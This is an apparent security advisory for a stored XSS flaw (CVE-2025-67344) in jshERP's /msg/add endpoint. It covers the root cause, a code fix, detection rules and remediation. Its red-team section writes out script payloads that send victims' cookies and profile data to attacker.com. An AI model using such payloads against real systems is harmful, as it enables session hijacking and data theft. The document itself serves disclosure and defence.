CVE-2025-67344

Executive Summary

CVE-2025-67344 is a stored Cross-Site Scripting (XSS) vulnerability identified in jshERP version 3.5 and earlier. The flaw resides in the /msg/add endpoint, where user-supplied input is not properly sanitized before being stored and later rendered in the application. An authenticated attacker can inject arbitrary JavaScript or HTML payloads, which will execute in the context of any user viewing the affected message. This can lead to session hijacking, credential theft, or defacement. No official patch has been released by the vendor (Jsherp) as of this analysis.

Supply Chain & Package Security

jshERP is a Java-based ERP system distributed as a WAR file or source code. It is not typically distributed via package managers like NPM, PyPI, Go, or Ruby. However, organizations using jshERP should verify the integrity of their deployment artifacts and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the message)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but can lead to significant impact if a privileged user views the malicious message.

Deep Dive & Mechanics

The vulnerability exists in the /msg/add endpoint of jshERP. This endpoint is used to create internal messages between users. The application fails to sanitize or encode user input before storing it in the database. When another user views the message, the stored payload is rendered in the browser without proper escaping, allowing script execution.

Root Cause: Lack of output encoding and input validation on the message content field.

Attack Flow:

1. Attacker authenticates to jshERP.
2. Attacker sends a POST request to /msg/add with a malicious payload in the message body (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database.
4. Victim user navigates to their inbox or message view.
5. The payload executes in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (jshERP <= 3.5):

// In MessageController.java
@RequestMapping(value = "/msg/add", method = RequestMethod.POST)
public String addMessage(@RequestParam("content") String content) {
    // Directly stores user input without sanitization
    messageService.save(content);
    return "success";
}

Patched Code (Recommended):

// In MessageController.java
import org.owasp.encoder.Encode;

@RequestMapping(value = "/msg/add", method = RequestMethod.POST)
public String addMessage(@RequestParam("content") String content) {
    // Sanitize input using OWASP Java Encoder
    String sanitizedContent = Encode.forHtml(content);
    messageService.save(sanitizedContent);
    return "success";
}

Additionally, output encoding should be applied when rendering messages in JSP or Thymeleaf templates.

Exploitation & Lab Setup

Red Team

Prerequisites:

• jshERP v3.5 running locally or in a lab environment.
• Valid user credentials (e.g., admin/admin).

Exploit Steps:

1. Log in to jshERP.
2. Navigate to the messaging feature (typically under "Message" or "Inbox").
3. Craft a payload to steal cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. Send the message to a target user.
5. Set up a listener on attacker.com to capture the cookie.

Alternative Payload (Session Hijacking):

<script>fetch('/user/profile').then(r=>r.text()).then(t=>{fetch('http://attacker.com/exfil?data='+btoa(t))})</script>

Blue Team

Detection Steps:

1. Monitor logs for unusual POST requests to /msg/add containing script tags or event handlers.
2. Inspect database entries in the messages table for HTML/JavaScript content.
3. Use web application firewall (WAF) rules to block common XSS patterns.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/msg/add" method=POST
| rex field=uri_query "content=(?<payload>.*)"
| where match(payload, "(?i)<script|<img|onerror|onload|javascript:")
| table _time, clientip, user, payload

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /msg/add with Content-Type: application/x-www-form-urlencoded containing content=<script> or similar.
  • Outbound connections to attacker-controlled domains from the jshERP server.

• File IOCs:

  • Log entries showing unsanitized HTML/JavaScript in message content.
  • Database records in the msg table with <script> tags.

• Behavioral IOCs:

  • Unexpected redirects or pop-ups when viewing messages.
  • Unauthorized changes to user profiles or settings.

Detection Engineering

YARA Rule

rule CVE_2025_67344_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting jshERP /msg/add endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67344"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /<svg[^>]*onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in jshERP /msg/add Endpoint
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts via the /msg/add endpoint in jshERP
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/msg/add'
        cs-uri-query|re: '(?i)(<script|<img|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in messages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67344 jshERP Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/msg/add"; http_uri; pcre:"/(?i)(<script|<img|onerror|onload|javascript:)/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the messaging feature if not critical for operations.
2. Apply input validation on the /msg/add endpoint to reject HTML/JavaScript.
3. Implement output encoding using OWASP Java Encoder or similar library.
4. Use Content Security Policy (CSP) headers to restrict script execution.

Long-Term Fix:

• Upgrade to a patched version once released by the vendor.
• Conduct a full security audit of jshERP for similar vulnerabilities.
• Consider migrating to a more actively maintained ERP solution.

Workaround:

• Deploy a WAF rule to block requests containing <script or onerror= in the message content.
• Restrict access to the messaging feature to trusted users only.

Valters IT
Securing Digital Frontiers